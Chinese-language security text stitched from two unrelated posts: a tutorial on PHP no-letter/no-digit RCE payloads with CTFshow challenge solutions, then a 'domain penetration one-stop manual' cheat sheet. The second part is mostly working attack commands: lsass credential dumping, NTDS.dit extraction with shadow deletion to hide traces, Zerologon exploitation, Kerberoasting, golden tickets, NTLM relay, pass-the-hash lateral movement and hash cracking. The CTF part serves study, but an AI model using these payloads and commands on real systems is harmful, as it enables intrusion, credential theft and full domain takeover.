%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

此时去尝试赋值

成功执行了命令，输出了当前目录

取反

这个的话我们这里其实是利用了不可见字符，我们对一个字符进行两次取反，得到的还是其本身。当我们进行一次取反过后，对其进行URL编码，再对其进行取反，此时可以得到可见的字符，它的本质其实还是这个字符本身，然后因为取反用的多是不可见字符，所以这里就达到了一种绕过的目的。

这里的话利用一个php脚本即可获取我们想要的字符

<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');

接下来为例尝试一下

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
    die("hacker!");
}
eval($code);
?>

关于自增的一些知识点

知识点1

在自增中，可以通过特殊字符构造出字符串的有以下几种方式

[].''      //Array
(0/0).''   //NAN
(1/0).''   //INF

这个时候就有一个问题了，如果ban了数字，我们该怎么去构造NAN和INF呢，这个时候就需要讲到一个知识点，我们这里的话需要说一下这个NAN和INF

NaN（Not a Number，非数）是计算机科学中数值数据类型的一类值，表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF：infinite，表示“无穷大”。 超出浮点数的表示范围（溢出，即阶码部分超过其能表示的最大值）。

这里可以看出NAN表示的是未被定义的值，所以我们这里可以通过a/a这种方式构造，如果字母也被ban，我们也可以借助其他字符，比如_/_，这个时候也可以得到NAN，同理，INF也可以通过1/a的方式获取。

知识点2

这里需要说明一下，笔者小白，对这个不太了解，然后可能这并不算什么知识点，还请各位大师傅多多担待

我们在构造$_POST中的_时，正常操作的话是这样，$a='_'.$b(假设这里$b就是POST)，然后这个时候如果'被ban，看似这里是无法再利用了，但其实，我们直接写$a=_.$b也是可以的，这个时候效果同上而且缩短了字符长度。

CTF赛题实战

CTFshow吃瓜杯[shellme_Revenge]

题目环境如下

https://ctf.show/challenges#shellme_Revenge-1483

进入环境后发现phpinfo()，找找有没有什么信息，搜索hint发现了提示

提示了?looklook，那我们这里可以猜出大概率是给了个访问的参数，我们在URL后加上?looklook=1，此时获取到源码

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {
    phpinfo();
}
?>

过滤了很多，^和~被过滤，所以异或和取反不可行，但可用的还有一些字符，$ _ 1 2 3 C这几个均未被过滤，所以我们这里可以尝试一下通过自增构造，这里限制了长度，要求长度小于107，所以我们这里的话使用构造较短的payload，$_GET[0]($_GET[1])这个相对来说较短，所以这里的话就可以尝试去构造这个payload，我一开始的payload总是不够短，参考了其他师傅的payload后最终构造如下

<?php
$_=C;
$_++;//D
$C1=++$_;//E
$_++;//F
$C=++$_.$C1;//GE
$_=(C/C.C)[0];//C/C即可得到NAN，但此时的它不是字符串，需要拼接一个字符才能变成字符串，然后第一位就是N
$_++;//O
$_++;//P
$_++;//Q
$_++;//R
$_++;//S
$_++;//T
$C=_.$C.$_;
$$C[1]($$C[2]);
var_dump($C);//$_GET[0]($GET[1])

我这里说一下这里缩短长度的几个点，首先一个就是获取字母，比如获取字符E那里，之前我写的话都是$_++;$C1=$_，这种相对来说长度就比较长了，当我们直接这样写，即$C1=++$_时，此时不仅$C1被赋值为E，同时$_也进行了一次自增，因为++$_是先做运算，再赋值的，所以这里是一个缩短长度的点。

然后第二个就是获取T这个字符，我们知道T在英语字母中是较靠后的，如果从前靠后只靠自增，字符就过长了，我们这里想到NAN这个字符N是离T较近的，所以我们可以尝试构造N然后再自增获取T，了解到0/0是NAN，这里的C/C也就是NAN，所以我们对他进行一个拼接后获取第一个字符就可以得到N，而后再通过自增即可获取T。

第三个点的话就是拼接_GET处，这里的_不用单引号直接拼接也是可以的，这样就省去了两个字符。

接下来将刚刚构造的payload删去换行这些，然后弄到一行后再进行URL编码，最终payload

GET:
1=passthru&2=ls /
POST:
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_.%24C1%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24C%3D_.%24C.%24_%3B%24%24C%5B1%5D(%24%24C%5B2%5D)%3B

CTFShow[RCE挑战2]

环境如下

https://ctf.show/challenges#RCE2

进入靶场，代码如下

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这里的话可以看到$、[]、'以及_这几个字符是没有被ban的，所以这里我们可以同之前一样，以自增方式构造命令执行语句，直接利用上面的payload进行尝试

GET:
_=system&__=cat /f*
POST:
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

CTFShow[RCE挑战3]

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这里限制了长度为105，然后看过滤的话这里的^和~被ban，所以继续用自增，然后这个时候考虑的$_GET中的T字符相对G和E来说是较靠后的，如果用自增获取会占用很多字符，所以这里可以去尝试构造$_POST，这四个字符相对来说还是挨的比较近的，所以我这里打算构造的语句是$_POST[0]($_POST[1])，接下来我们就可以去构造了。

首先的话，我们考虑到这个POST四个字符都是偏后的，同时我们这里是有数字0的，所以我们这里可以用0/0来获取float(NAN)，接下来需要把他转换为字符串，因为这个是无法利用的，然后我们这里可以看到'和"都被ban了，所以不能再用，不过我们这里拼接的话，其实随便拼接个什么都可以，我们这里拼接一个下划线也是可以的，所以第一步就有了

<?php
$_=(0/0)._;//NAN
$_=$_[0];//N

这个时候就成功获取到了字符N，接下来就是先进行赋值获取一个_，然后再通过自增获取POST，最终的话得到的payload如下

<?php
$_=(0/0)._;//NAN
$_=$_[0];//N
$_1=++$_;//O  ++$_是先进行自增，而后取值，所以这里$_1就是O
$__=_;//_  首先获取_
$__.=++$_;//_P  通过自增获取P 
$__.=$_1;//_PO  获取O
$_++;//Q 
$_++;//R
$__.=++$_;//_POS 通过自增获取S
$__.=++$_;//_POST  通过自增获取T
$$__[0]($$__[1]);//$_POST[0]($_POST[1])

接下来将代码放入一行

$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);

可以看到这里是101，小于105，接下来进行URL编码，然后去环境里尝试一下

得到flag

CTFShow[RCE挑战4]

源码如下

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以看到本题进一步限制了长度，要求长度小于84位，然后这里的话需要说一些缩短长度的方法。首先就是我们之前得到字符N是这样的,$_=(0/0)._;$_=$_[0];，然后这个的话我们其实是可以进行一个缩短的，我们可以写成这个样子$_0=(_/_._)[0];,这个(_/_._)就可以直接得到NAN，然后我们再加上一个[0]，就可以缩短长度然后其他就是对自增这些进行一下缩短，我构造的payload如下

<?php
$_0=(_/_._)[0];//NAN
$_=++$_0;//O
$__=_;//_
$__.=++$_.$_0;//_P
$_++;//Q
$_++;//R
$__.=++$_;//_POS
$__.=++$_;//_POST
$$__[0]($$__[_]);//$_POST[0]($_POST[_])

可是这个时候当我把他放到一行中，我发现它的长度是91，还是大于84，因此这个是不可用的，这个时候看到变量名$_0和$__占了两个单位长度，如果我们可以用一个字符来表示它，是不是就可以成功缩短长度呢，然后这个时候就考虑到可以使用不可见字符

然后我们在URL编码表中随便找两个，我这里就用%DE和%DF了，然后分别对变量名进行一个替换

<?php_
$%DF=(_/_._)[0];//NAN
$_=++$%DF;//O
$%DE=_;//_
$%DE.=++$_.$%DF;//_P
$_++;//Q
$_++;//R
$%DE.=++$_;//_POS
$%DE.=++$_;//_POST
$$%DE[0]($$%DE[_]);//$_POST[0]($_POST[_])

然后接下来写到一行中

$%DF=(_/_._)[0];$_=++$%DF;$%DE=_;$%DE.=++$_.$%DF;$_++;$_++;$%DE.=++$_;$%DE.=++$_;$$%DE[0]($$%DE[_]);

因为涉及到不可见字符，然后它是URL编码过的，所以我们这里不能使用整体编码，需要单独对部分内容进行URL编码，不过这里需要编码的也就是++，对++URL编码即可，因此最终payload如下

POST：
$%DF=(_/_._)[0];$_=%2B%2B$%DF;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE[0]($$%DE[_]);&0=system&_=cat /f*

得到flag

CTFShow[RCE挑战5]

源码如下

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这里的话将数字全ban了，同时要求字符串长度小于73 然后这里的话根本没思路，参考过官方wp后，得知当gettext拓展开启时，_()就相当于gettext()，可以获取其中的内容，所以我们这里可以通过这种方式获取到字符N，然后我们构造的payload如下

<?php
$a=_(a/a)[a];//N
$_=++$a;//O
$b=_.++$a.$_;//_PO
$a++;//Q
$a++;//R
$b.=++$a.++$a;//_POST
$$b[a]($$b[_]);//$_POST[a]($_POST[_])

接下来用不可见字符分别替换a和b，然后放至一行之中，得到

$%DE=_(%DE/%DE)[%DE];$_=++$%DE;$%DF=_.++$%DE.$_;$%DE++;$%DE++;$%DF.=++$%DE.++$%DE;$$%DF[%DE]($$%DF[_]);

再对++进行URL编码，得到

$%DE=_(%DE/%DE)[%DE];$_=%2B%2B$%DE;$%DF=_.%2B%2B$%DE.$_;$%DE%2B%2B;$%DE%2B%2B;$%DF.=%2B%2B$%DE.%2B%2B$%DE;$$%DF[%DE]($$%DF[_]);

域渗透一条龙手册

Sun, 10 Sep 2023 03:34:00 GMT

1.无凭证情况下

网络扫描

cme smb <ip_range> 							# SMB 扫描存活主机
nmap -sP -p <ip> 							# ping 扫描
nmap -PN -sV --top-ports 50 --open <ip> 	# 快速扫描
nmap -PN --script smb-vuln* -p139,445 <ip> 	# 检测 SMB 漏洞
nmap -PN -sC -sV <ip> 						# 经典扫描
nmap -PN -sC -sV -p- <ip>		 			# 全扫描
nmap -sU -sC -sV <ip> 						# UDP 扫描

漏洞快速探测

扫描后可以去先用已知漏洞打

java rmi： exploit/multi/misc/java_rmi_server
ms17-010：exploit/windows/smb/ms17_010_eternalblue
tomcat：auxiliary/scanner/http/tomcat_enum
jboss manager：exploit/multi/http/tomcat_mgr_deploy
Java反序列化漏洞测试：ysoserial
查找产品的CVE漏洞：searchsploit
MS14-025： searchsploit
		   findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
爆破数据库连接：use admin/mssql/mssql_enum_sql_logins
proxylogon：
proxyshell：

提权

低权限可以做的事情

winpeas.exe
查找内容有 password 的文件：findstr /si 'password' *.txt *.xml *.docx
Juicy Potato / Lovely Potato
PrintSpoofer
RoguePotato
SMBGhost CVE-2020-0796
CVE-2021-36934 (HiveNightmare/SeriousSAM)
......

拥有本地管理员权限

获取密码

procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

hashdump: post/windows/gather/smart_hashdump
cme smb <ip_range> -u <user> -p <password> -M lsassy
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

绕过LSA防护策略读取密码

PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp

mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate"  "sekurlsa::logonpasswords" "!processprotect  /process:lsass.exe" "!-" #with mimidriver.sys

token窃取

.\incognito.exe list_tokens -u
.\incognito.exe execute -c "<domain>\<user>" powershell.exe

use incognito
impersonate_token <domain>\\<user>

之前粗略分析过 token

Token窃取那些事 (0range-x.github.io)

查看本地存储的所有密码

lazagne.exe all

卷影拷贝（获取域控所有hash）

diskshadow list shadows all

mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
管理员权限执行 
vssadmin create shadow /for=C: 
利用卷影副本卷名拷贝ntds.dit文件与用注册表导出system.hive 

copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit reg sava hklm\system system.hive 
//导出system.hive文件到注册表 

vssadmin delete shadows /for=C: /quiet   //删除卷影，隐藏痕迹

CVE-2020-1472的分析与复现 (0range-x.github.io)

dpapi解密

2.内网信息收集

本机信息收集

1、用户列表  net user /domain
windows用户列表 分析邮件用户，内网[域]邮件用户，通常就是内网[域]用户

2.进程列表  tasklist /svc
分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等

3.服务列表	tasklist /svc
与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]

4.端口列表	netstat -ano
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集

5.补丁列表	systeminfo
分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞

6.本机共享	smbclient -L ip  
		   net user \\ip\c$
本机共享列表/访问权限 本机访问的域共享/访问权限

7.本用户习惯分析
历史记录 收藏夹 文档等

8.获取当前用户密码

Windows

Linux

浏览器

Navicat密码

版本：Navicat 11或12

方法：https://blog.csdn.net/CCESARE/article/details/104746596

解密脚本：https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

xshell&xftp密码

https://github.com/dzxs/Xdecrypt

mRemoteNG密码

https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

扩散信息收集

常用端口扫描工具

nmap
masscan
zmap
s扫描器
自写脚本
nc
……

内网拓扑架构分析

DMZ
管理网
生产网
测试网

常见信息收集命令

ipconfig：

ipconfig /all ------> 查询本机 IP 段，所在域等

net

net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname

dsquery

dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组 
dsquery ou ------>列出该域内组织单位 
dsquery server && net time /domain------>列出该域内域控制器

第三方信息收集

NETBIOS 信息收集
SMB 信息收集
空会话信息收集
漏洞信息收集等

3.获取域控的方法

SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的，它用来存放GPO、Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上。相关阅读:

MS14-068 Kerberos

python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存，创建缓存证书：

mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
net use k: \pentest.comc$

SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据，无需向目标系统发送任何数据包。 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类，主机名和端口组成。在使用Kerberos身份验证的网络中，必须在内置计算机帐户（如NetworkService或LocalSystem）或用户帐户下为服务器注册SPN。对于内部帐户，SPN将自动进行注册。但是，如果在域用户帐户下运行服务，则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是，SPN扫描不需要连接到网络上的每个IP来检查服务端口，SPN通过LDAP查询向域控执行服务发现，SPN查询是Kerberos的票据行为一部分，因此比较难检测SPN扫描。相关阅读 :

Kerberos的黄金门票

在域上抓取的哈希

lsadump::dcsync /domain:pentest.com /user:krbtgt

kerberos::purge

kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 
/ticket:adinistrator.kiribi

kerberos::ptt administrator.kiribi

kerberos::tgt

net use k: \pnet use k: \pentest.comc$

Kerberos的银票务

黄金票据和白银票据的一些区别： Golden Ticket：伪造TGT，可以获取任何Kerberos服务权限银票：伪造TGS，只能访问指定的服务 加密方式不同： Golden Ticket由krbtgt的hash加密 Silver Ticket由服务账号（通常为计算机账户）Hash加密认证流程不同：金票在使用的过程需要同域控通信银票在使用的过程不需要同域控通信相关阅读 :

攻击者如何使用Kerberos的银票来利用系统
[域渗透——Pass The Ticket](https://www.feiworks.com/wy/drops/域渗透——Pass The Ticket.pdf)

域服务账号破解

与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户

setspn -T PENTEST.com -Q */*

从Mimikatz的RAM中提取获得的门票

kerberos::list /export

用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

凭证盗窃

从搜集的密码里面找管理员的密码

NTLM relay

用于主动让目标机器发起NTLM请求的方法：

Relay LDAP:

CVE-2019-1040-dcpwn

Relay AD CS/PKI:

AD CS/PKI template exploit

集成几个利用的工具：

Relayx

内网445端口转发：

PortBender

Kerberos委派

地址解析协议

实在搞不定再搞ARP

zerologon漏洞

python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>

secretsdump.py <DOMAIN>/<MACHINE_BIOS_NAME>\$@<IP> -no-pass -just-dc-user "Administrator" 

secretsdump.py -hashes :<HASH_admin> <DOMAIN>/Administrator@<IP>

python3 restorepassword.py -target-ip <IP> <DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_BIOS_NAME> -hexpass <HEXPASS>

CVE-2020-1472的分析与复现 (0range-x.github.io)

**1、利用Mimikatz **check

lsadump::zerologon /target:dc1.exploit.local /account:dc1$

exploit

lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit

dcsync

lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt

restore

lsadump::postzerologon /target:conttosson.locl /account:dc$

2、利用impacket：

取目标主机名+IP
install 修改版本的impacket
Exp

python cve-2020-1472-exploit.py DC2008 10.211.55.200

secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc-user administrator
secretsdump.py -no-pass cgdomain.com/administrator@10.211.55.200 -hashes aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3eb149ae

获取到旧的密码明文hex，还原

python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 -hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b

恢复方法2

通过wmic, pass the hash 拿到域控制器中的本地管理员权限(域管)

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/Administrator@10.211.55.38

然后分别执行,拷贝本机中SAM数据库到本地

- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

提取明文hash

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

然后恢复。

CVE-2021-42278 && CVE-2021-42287

sam-the-admin

noPac: CVE-2021-42287/CVE-2021-42278

./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com
/mAccount mAusername /mPassword password /service cifs /ptt

4.列出可匿名访问的SMB共享

enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>

smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>

smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>

cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享

cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

5.枚举LDAP

nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>

ldapsearch -x -h <ip> -s base

6.查找用户名

enum4linux -U <dc-ip> | grep 'user:'

crackmapexec smb <ip> -u <user> -p '<password>' --users 

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip> 

OSINT - 在互联网上寻找用户名

得到账号，但是没有密码

密码喷洒

获取域密码策略 ：
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>

cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 不爆破，只测试单一的 user=password

cme smb <dc-ip> -u user.txt -p password.txt # 交叉爆破，根据密码策略，失败过多可能会被封禁

ASREP-Roasting攻击

获取hash

python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>

Rubeus asreproast /format:hashcat

获取ASREP-Roastable账号

Get-DomainUser -PreauthNotRequired -Properties SamAccountName

MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

拿到任意一个域用户的账号密码

获取其他账户密码

1.获取域内所有账户名

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

2.枚举 SMB 共享

cme smb <ip> -u <user> -p <password> --shares

3.bloodhound

bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all

4.powerview / pywerview

Kerberoasting攻击

获取hash

GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>

Rubeus kerberoast

查找 kerberoastable 账号

Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName

MATCH (u:User {hasspn:true}) RETURN u

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

MS14-068

FindSMB2UPTime.py

rpcclient $> lookupnames <name>

wmic useraccount get name,sid

auxiliary/admin/kerberos/ms14_068_kerberos_checksum
goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>
kerberos::ptc "<ticket>"

PrintNightmare

CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\<share>\inject.dll'

枚举 DNS 服务器

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

7.relay/poisoning攻击

扫描没开启SMB签名的机器

nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK

use exploit/windows/smb/smb_relay

cme smb $hosts --gen-relay-list relay.txt

PetitPotam

PetitPotam.py  -d <domain> <listener_ip> <target_ip>

后续可以跟着adcs攻击

监听

responder -i eth0
mitm6 -d <domain>

无SMB签名 || 开启IPv6 || ADCS

1.MS08-068

use exploit/windows/smb/smb_relay 	#常用于windows2003 / windows server2008
responder -I eth0 # 记得先关闭本机的 smb 和 http 服务

ntlmrelayx.py -tf targets.txt

2.mitm6 -i eth0 -d

ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

3.adcs

ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

拿到hash破解

1.LM

john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

2.NTLM

john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

3.NTLMv1

john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

4.NTLMv2

john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

5.Kerberos 5 TGS

john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a 0 spn.txt rockyou.txt

6.Kerberos ASREP

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

9.横向移动

1.PTH

psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"

evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

2.PTK

python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>

3.非约束委派

获取票据

privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

查找非约束委派主机

Get-NetComputer -Unconstrained

Get-DomainComputer -Unconstrained -Properties DnsHostName

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

4.约束委派

获取票据

privilege::debug sekurlsa::tickets /export sekurlsa::tickets /

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

查找约束委派主机

Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p

5.基于资源的约束委派

6.dcsync

